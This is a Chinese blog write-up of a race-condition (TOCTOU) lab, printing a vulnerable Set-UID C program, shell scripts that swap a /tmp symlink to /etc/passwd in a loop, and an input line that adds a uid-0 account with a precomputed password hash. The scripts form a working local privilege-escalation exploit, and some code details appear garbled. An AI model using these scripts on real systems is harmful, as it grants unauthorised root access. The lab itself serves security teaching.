閱讀368 返回首頁    go 阿裏雲 go 技術社區[雲棲]


Race_Condition實驗

//csdn博客目前暫時不再更新了,有興趣請訪問我的技術博客-曉的博客:zhangxiaolong.org 


   今天做了第二個實驗,是條件競爭實驗。首先呢,先思考以下兩個問題:

1、linux下用open函數打開文件時,要是采用O_WRONLY模式為何容易產生競爭條件漏洞?換成O_WRONLY | O_CREAT | O_EXCL 模式後情況會如何?

解答:open函數用來打開一個設備,他返回的是一個整型變量,如果這個值等於-1,說明打開文件出現錯誤,如果為大於0的值, 參考格式>

 int open(const char *pathname, int oflag, …/*, mode_t mode * / ) ;

 打開的操作類型有如下幾種

   1) O_RDONLY 隻讀打開

   2) O_WRONLY 隻寫打開

   3) O_RDWR 讀、寫打開

 采用O_WRONLY模式用open函數打開文件時,root總是可以創建文件,即便鎖文件已經存在,這意味著該鎖不能為root正常工作。換成O_WRONLY | O_CREAT | O_EXCL 模式後,就將權限設置為0,使同一用戶的其他進程無法獲得鎖。

2、閱讀一篇文章“從一個漏洞談到ptrace的漏洞發現及利用方法”,地址為https://www.xfocus.net/articles/200304/503.html。描述其中的競爭條件漏洞出現的原因。

解答:代碼是在內核線程exec_modprobe()的上下文運行的,程序的current指向這個內核線程的task_struct結構,而與創建這個線程時的current不同,那時候的current指向當時的當前進程,即exec_modprobe()的父進程。內核線程exec_modprobe()從其父進程繼承了絕大部分資源和特性,包括它的fs_struct的內容和打開的所有文件,以及它的進程號、組號,還有所有的特權。但是這些特性在這個函數裏大多被拚棄了(見源碼的19行到42行,這裏設置了該內核線程的信號、euid    、egid等,使之變成超級用戶),不過在拚棄這些特性之前之前,我們的父進程,或同組進程是應該可以調試該內核線程的。漏洞也就在這裏。

在學習完這兩個問題之後,我們開始做這個實驗。

1.競爭漏洞程序

   下麵的這個程序,表麵上看起來似乎是完美的,但實際上它具有競爭漏洞。

//vulp.c
#include <stdio.h>`
#include <unistd.h>
#include <string.h>
#define DELAY 10000
int main()
{
     char * fn = "/tmp/XYZ";
     char buffer[160];
     FILE *fp;
     long int  i;
     //get user input
     scanf("0s", buffer );
     if(!access(fn, W_OK))
     {
     //simulating delay
            for (i=0; i < DELAY; i++)
            {
          int a = i^2;
            }
            fp = fopen(fn, "a+");
            fwrite("\n", sizeof(char), 1, fp);
            fwrite(buffer, sizeof(char), strlen(buffer), fp);
            fclose(fp);
   }
   else
            printf("No permission \n");
}

分析:

這是一個Set-UID Root程序,它的目的是向臨時文件/tmp/XYZ中追加一個字符串。既然這段程序是以root權限運行,那麼它會仔細的核查真正的使用者是否具有寫這 個文件的權限,這就是函數access()調用的目的,如果它核實了使用者確實有這個權限,那麼它會允許用戶向/tmp/XYZ中追加輸入的數據。在核查權限(access)和打開文件(fopen)之間存在一段時間,那麼就會 存在一種可能:核實的文件和打開的文件已經不是同一個文件了,雖然它們有相同的/tmp/XYZ符號鏈接。 

2. 利用競爭漏洞

    利用程序vulp.c中的競爭漏洞,其中一種是利用這種漏洞向/etc/passwd和/etc/shadow添加信息。這兩個文件都是 unix係統向用戶的授權文件,如果黑客能夠向這兩個文件中添加程序,那麼它們就完全有能力創建新的使用者,包括係統管理員用戶(通過令uid為0)

    /etc/passwd文件是unix係統的授權數據庫文件,它包含用戶的基本屬性。它是一個ascii碼流文件,它的每一個行定義了一個用戶的基本屬性。

它的每一行的格式如下:

Username:password:uid:guid:gecos:homedir:shell

備注:Gecos:用來存儲用戶的一些雜項信息,比如用戶的全名,辦公室地址,辦公電話和家庭電話,也可以是一個簡短的文本信息。存儲在這個字段中的數據時以逗號分隔的,用於用cgfn(change finger for short )命令修改這個字段。

具體的例子:

Andrew:x:1000:1000:Andrew Hudson,17,0123455,124244455:/home/Andrew:/bin/bash

注意所有的passwd字段都不會直接顯示口令,而隻是顯示一個x,這些口令都會加密之後存放在/etc/shadow中。這主要是為了增加Unix的安全性考慮,如果不考慮安全性的話,完全可以把加密之後的密碼放在/etc/passwd中的passwd字段中。

在實驗中,我在/etc/passwd中加入了一下一行:

tom:ttXydORJt50wQ:0:0:,,,:/home:/bin/bash 來獲取root權限。

其中ttXydORJt50wQ是test的加密之後的密文。

可以運行perl腳本:

perl –e ‘print crypt(“test”,“tt”).“\n”’

來獲取加密之後的密文ttXydORJt50wQ

我的目標就是在普通用戶權限下攻擊vulp.c的競爭漏洞,成功之後在/etc/passwd文件中追加一行:

tom:ttXydORJt50wQ:0:0:,,,:/home:/bin/bash

注意:

追加tom用戶的uid和uid均為0,所以我建立的tom目錄獲取到了root權限.因為我直接把tom的密碼test的密文直接寫在/etc/passwd的passwd字段中,所以我就沒有必要再去修改/etc/shadow文件了。

攻擊步驟:

第一步:建立符合連接

   可以利用“ln -s”命令手動建立符號鏈接,也可以用C函數symlink在程序中建立符合鏈接。既然Linux不允許我們在舊鏈接已經存在的情況下建立鏈接,我們首先要刪除舊的鏈接。

下麵的C代碼簡單的指明了如何刪除一個鏈接,然後使得/tmp/XYZ指向/etc/passwd:

unlink(“/tmp/XYZ”);

symlink(“/etc/passwd”, “/tmp/XYZ”);

競爭漏洞攻擊的最重要的步驟是在核實和打開文件的時間間隔內,讓符號鏈接指向我們設定的目標文件,即在vulp.c的access和fopen之間讓/tmp/XYZ指向/etc/passwd.

第二步:運行攻擊腳本

 攻擊腳本attack.sh如下:

#!/bin/sh
race()
{
  old=`ls -l /etc/passwd`
  new=`ls -l /etc/passwd`
#  when we modify the passwd successfully, the attack stops
  while [ "$old" = "$new" ]
  do
#  because when the synlink already exists, we can't modify the symlink,
#  so before change the symlink, we should rm the old one     
       rm -f /tmp/XYZ
       >/tmp/XYZ
       ln -sf /etc/passwd /tmp/XYZ
       new=`ls -l /etc/passwd` 
#     echo $new
#     echo $old
  done
}
race
echo "Stop...The passwd has been changed!"
RACE_PID=$!
kill $RACE_PID 

調用vulp程序的run,sh腳本:

#/bin/sh
race()
{
  while true
  do
  ./vulp <attack_input
  done
}
race
RACE_PID=$!
kill $RACE_PID

第三步:attack_input文件中存放的是:tom:ttXydORJt50wQ:0:0:,,,:/home:/bin/bash,循環攻擊vulp程序的目的是向/etc/passwd寫入attack_input文件的數據,使新增的tom用戶具有root權限。 

3.實驗結果截圖

 如圖一所示:在zxl文件夾中,一共建立5個文件,分別為:攻擊腳本attack.sh,攻擊腳本替換輸入attack_input,檢查攻擊是否成功的腳本check.sh,運行追加字符串的程序run.sh ,追加字符串傳的程序vulp,且有s權限。其他程序都必須為可執行的文件,用sudo chmod +x /文件名 操作進行修改。

                                                                       圖 1

如圖2所示,運行Run.sh腳本。它會一直循環運行程序vulp。

                                                                       圖 2

如圖3所示,運行攻擊腳本attack.sh。如果成功會顯示如下提示,說明有內容寫入到passwd文件中。

                                                                    圖 3

如圖4所示,在/etc/passwd文件中可以看到,有tom用戶寫入,並且具有管理員的權限。

                                                                          圖4

 

最後更新:2017-04-02 06:52:01

  上一篇:go 一個使用FFmpeg庫讀取3gp視頻的例子-Android中使用FFmpeg媒體庫(三)
  下一篇:go 《Java 本地接口規範》- 設計概述